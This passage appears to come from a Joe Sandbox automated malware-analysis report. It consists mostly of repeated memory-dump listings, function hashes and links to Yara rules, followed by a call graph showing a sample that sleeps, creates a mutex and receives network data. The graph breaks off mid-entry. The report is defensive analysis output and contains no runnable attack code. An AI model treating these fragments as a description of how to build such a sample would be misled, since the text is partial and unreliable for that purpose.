                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 57040152-0
                                                                                                                                                                                                                                                                                    • Opcode ID: d1dba4f4a5ab89340771ccfcb9c57091215b36e0ccd89bab8bcfc8ee2d16352e
                                                                                                                                                                                                                                                                                    • Instruction ID: a063eca7e2ca198758187e04ac4434b442b737094de3fa0169d05b9040995342
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d1dba4f4a5ab89340771ccfcb9c57091215b36e0ccd89bab8bcfc8ee2d16352e
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 88A1C3719012099FDF20DFA4C945B6ABBF8FF15354F0482AAF915D7681EB31EA04CB91
                                                                                                                                                                                                                                                                                    Function 00B2CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: _strrchr
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3213747228-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
                                                                                                                                                                                                                                                                                    • Instruction ID: 69b43b0b1128b619da433cef98642bcd362e34b6fdd2515ea1bcf89fff7ed09a
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: D3B126329002659FDB15DF28D8817AEBFE5EF55340F2541EAE859EB242D6349D02CB90
                                                                                                                                                                                                                                                                                    Function 00B0BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Xtime_diff_to_millis2_xtime_get
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 531285432-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 9e2a1cd9bc653f420cdcfa7024e916bf9e4fdc6b98ef452e0c52b05c8ec0f088
                                                                                                                                                                                                                                                                                    • Instruction ID: 875b4027ed7a268da6d74ab1cacf25b08ab5f8306edb3cf063d8c5174e569fd3
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9e2a1cd9bc653f420cdcfa7024e916bf9e4fdc6b98ef452e0c52b05c8ec0f088
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: D1212C75A00219AFDF10EFA4DC81DBEBFB9EF09710F1001A5FA01A72A1DB719D059BA1

                                                                                                                                                                                                                                                                                    Execution Graph

                                                                                                                                                                                                                                                                                    Execution Coverage:0.9%
                                                                                                                                                                                                                                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                                                                    Signature Coverage:0%
                                                                                                                                                                                                                                                                                    Total number of Nodes:627
                                                                                                                                                                                                                                                                                    Total number of Limit Nodes:4
                                                                                                                                                                                                                                                                                    execution_graph 9712 15a856 9713 15a870 9712->9713 9715 15a892 shared_ptr 9712->9715 9714 15a953 Sleep CreateMutexA 9713->9714 9713->9715 9716 15a98e 9714->9716 10329 152b10 10330 152b1c 10329->10330 10331 152b1a 10329->10331 10332 16c26a 4 API calls 10330->10332 10333 152b22 10332->10333 10450 152b90 10451 152bce 10450->10451 10452 16b7fb TpReleaseWork 10451->10452 10453 152bdb shared_ptr __floor_pentium4 10452->10453 10334 16d111 10335 16d121 10334->10335 10336 16d12a 10335->10336 10338 16d199 10335->10338 10339 16d1a7 SleepConditionVariableCS 10338->10339 10341 16d1c0 10338->10341 10339->10341 10341->10335 10256 159adc 10259 159aea shared_ptr 10256->10259 10257 15a917 10258 15a953 Sleep CreateMutexA 10257->10258 10262 15a98e 10258->10262 10259->10257 10261 159b4b shared_ptr 10259->10261 10260 159b59 10261->10260 10263 155c10 3 API calls 10261->10263 10264 159b7c 10263->10264 10265 158b30 3 API calls 10264->10265 10266 159b8d 10265->10266 10267 155c10 3 API calls 10266->10267 10268 159cb1 10267->10268 10269 158b30 3 API calls 10268->10269 10270 159cc2 10269->10270 10454 153f9f 10455 153fad 10454->10455 10457 153fb6 10454->10457 10456 152410 4 API calls 10455->10456 10456->10457 10401 15215a 10404 16c6fc 10401->10404 10403 152164 10405 16c724 10404->10405 10406 16c70c 10404->10406 10405->10403 10406->10405 10408 16cfbe 10406->10408 10409 16ccd5 __Mtx_init_in_situ InitializeCriticalSectionEx 10408->10409 10410 16cfd0 10409->10410 10410->10406 10271 16d0c7 10272 16d0d7 10271->10272 10273 16d17f 10272->10273 10274 16d17b RtlWakeAllConditionVariable 10272->10274 10411 159f44 10412 159f4c shared_ptr 10411->10412 10413 15a953 Sleep CreateMutexA 10412->10413 10414 15a01f shared_ptr 10412->10414 10415 15a98e 10413->10415 9744 153c47 9745 153c51 9744->9745 9748 153c5f 9745->9748 9751 1532d0 9745->9751 9746 153c68 9748->9746 9770 153810 9748->9770 9774 16c6ac 9751->9774 9753 15336b 9780 16c26a 9753->9780 9756 15333c __Mtx_unlock 9757 16c26a 4 API calls 9756->9757 9762 153350 __floor_pentium4 9756->9762 9759 153377 9757->9759 9758 153314 9758->9753 9758->9756 9777 16bd4c 9758->9777 9760 16c6ac GetSystemTimePreciseAsFileTime 9759->9760 9761 1533af 9760->9761 9763 16c26a 4 API calls 9761->9763 9764 1533b6 __Cnd_broadcast 9761->9764 9762->9748 9763->9764 9765 16c26a 4 API calls 9764->9765 9766 1533d7 __Mtx_unlock 9764->9766 9765->9766 9767 16c26a 4 API calls 9766->9767 9768 1533eb 9766->9768 9769 15340e 9767->9769 9768->9748 9769->9748 9771 15381c 9770->9771 9855 152440 9771->9855 9784 16c452 9774->9784 9776 16c6b9 9776->9758 9801 16bb72 9777->9801 9779 16bd5c 9779->9758 9781 16c292 9780->9781 9782 16c274 9780->9782 9781->9781 9782->9781 9807 16c297 9782->9807 9785 16c4a8 9784->9785 9787 16c47a __floor_pentium4 9784->9787 9785->9787 9790 16cf6b 9785->9790 9787->9776 9788 16c4fd __Xtime_diff_to_millis2 9788->9787 9789 16cf6b _xtime_get GetSystemTimePreciseAsFileTime 9788->9789 9789->9788 9791 16cf7a 9790->9791 9792 16cf87 __aulldvrm 9790->9792 9791->9792 9794 16cf44 9791->9794 9792->9788 9797 16cbea 9794->9797 9798 16cc07 9797->9798 9799 16cbfb GetSystemTimePreciseAsFileTime 9797->9799 9798->9792 9799->9798 9802 16bb9c 9801->9802 9803 16cf6b _xtime_get GetSystemTimePreciseAsFileTime 9802->9803 9804 16bba4 __Xtime_diff_to_millis2 __floor_pentium4 9802->9804 9805 16bbcf __Xtime_diff_to_millis2 9803->9805 9804->9779 9805->9804 9806 16cf6b _xtime_get GetSystemTimePreciseAsFileTime 9805->9806 9806->9804 9810 152ae0 9807->9810 9809 16c2ae Concurrency::cancel_current_task 9817 16bedf 9810->9817 9812 152af4 __dosmaperr 9812->9809 9820 18a671 9812->9820 9831 16cc31 9817->9831 9824 18a67b __dosmaperr ___free_lconv_mon 9820->9824 9821 186ccc 9825 188bec 9821->9825 9822 188bec __cftof 3 API calls 9823 18a72d 9822->9823 9824->9821 9824->9822 9826 188bf1 __cftof 9825->9826 9830 188bfc __cftof 9826->9830 9835 18d634 9826->9835 9849 1865ed 9830->9849 9832 16bef2 9831->9832 9833 16cc3f InitOnceExecuteOnce 9831->9833 9832->9812 9833->9832 9837 18d640 __cftof __dosmaperr 9835->9837 9836 18d69c __dosmaperr ___std_exception_copy 9836->9830 9837->9836 9838 18d81b __dosmaperr 9837->9838 9839 18d726 9837->9839 9841 18d751 __cftof 9837->9841 9840 1865ed __cftof 3 API calls 9838->9840 9839->9841 9852 18d62b 9839->9852 9842 18d82e 9840->9842 9841->9836 9845 18a671 __cftof 3 API calls 9841->9845 9847 18d7a5 9841->9847 9845->9847 9846 18d62b __cftof 3 API calls 9846->9841 9847->9836 9848 18a671 __cftof 3 API calls 9847->9848 9848->9836 9850 1864c7 __cftof 3 API calls 9849->9850 9851 1865fe 9850->9851 9853 18a671 __cftof 3 API calls 9852->9853 9854 18d630 9853->9854 9854->9846 9858 16b5d6 9855->9858 9857 152472 9859 16b5f1 Concurrency::cancel_current_task 9858->9859 9860 16b658 __cftof __floor_pentium4 9859->9860 9861 188bec __cftof 3 API calls 9859->9861 9860->9857 9862 16b69f 9861->9862 9722 152e00 9723 152e28 9722->9723 9726 16c68b 9723->9726 9729 16c3d5 9726->9729 9728 152e33 9730 16c3eb 9729->9730 9731 16c3e1 9729->9731 9730->9728 9732 16c3be 9731->9732 9733 16c39e 9731->9733 9742 16cd0a 9732->9742 9733->9730 9738 16ccd5 9733->9738 9736 16c3d0 9736->9728 9739 16cce3 InitializeCriticalSectionEx 9738->9739 9740 16c3b7 9738->9740 9739->9740 9740->9728 9743 16cd1f RtlInitializeConditionVariable 9742->9743 9743->9736 10278 15e0c0 recv 10279 15e122 recv 10278->10279 10280 15e157 recv 10279->10280 10281 15e191 10280->10281 10282 15e2b3 __floor_pentium4 10281->10282 10283 16c6ac GetSystemTimePreciseAsFileTime 10281->10283 10284 15e2ee 10283->10284 10285 16c26a 4 API calls 10284->10285 10286 15e358 10285->10286 10287 152ec0 10288 152f06 10287->10288 10289 152f7e GetCurrentThreadId 10287->10289 10292 16c6ac GetSystemTimePreciseAsFileTime 10288->10292 10290 152f94 10289->10290 10291 152fef 10289->10291 10290->10291 10297 16c6ac GetSystemTimePreciseAsFileTime 10290->10297 10293 152f12 10292->10293 10294 15301e 10293->10294 10299 152f1d __Mtx_unlock 10293->10299 10295 16c26a 4 API calls 10294->10295 10296 153024 10295->10296 10300 16c26a 4 API calls 10296->10300 10298 152fb9 10297->10298 10302 16c26a 4 API calls 10298->10302 10303 152fc0 __Mtx_unlock 10298->10303 10299->10296 10301 152f6f 10299->10301 10300->10298 10301->10289 10301->10291 10302->10303 10304 16c26a 4 API calls 10303->10304 10305 152fd8 __Cnd_broadcast 10303->10305 10304->10305 10305->10291 10306 16c26a 4 API calls 10305->10306 10307 15303c 10306->10307 10308 16c6ac GetSystemTimePreciseAsFileTime 10307->10308 10315 153080 shared_ptr __Mtx_unlock 10308->10315 10309 1531c5 10310 16c26a 4 API calls 10309->10310 10311 1531cb 10310->10311 10312 16c26a 4 API calls 10311->10312 10313 1531d1 10312->10313 10314 16c26a 4 API calls 10313->10314 10316 153193 __Mtx_unlock 10314->10316 10315->10309 10315->10311 10318 153132 GetCurrentThreadId 10315->10318 10319 1531a7 __floor_pentium4 10315->10319 10317 16c26a 4 API calls 10316->10317 10316->10319 10320 1531dd 10317->10320 10318->10319 10321 15313b 10318->10321 10321->10319 10322 16c6ac GetSystemTimePreciseAsFileTime 10321->10322 10323 15315f 10322->10323 10323->10309 10323->10313 10323->10316 10324 16bd4c GetSystemTimePreciseAsFileTime 10323->10324 10324->10323 10458 158980 10460 1589d8 shared_ptr 10458->10460 10461 158aea 10458->10461 10459 155c10 3 API calls 10459->10460 10460->10459 10460->10461 10189 153c8e 10190 153c98 10189->10190 10191 152410 4 API 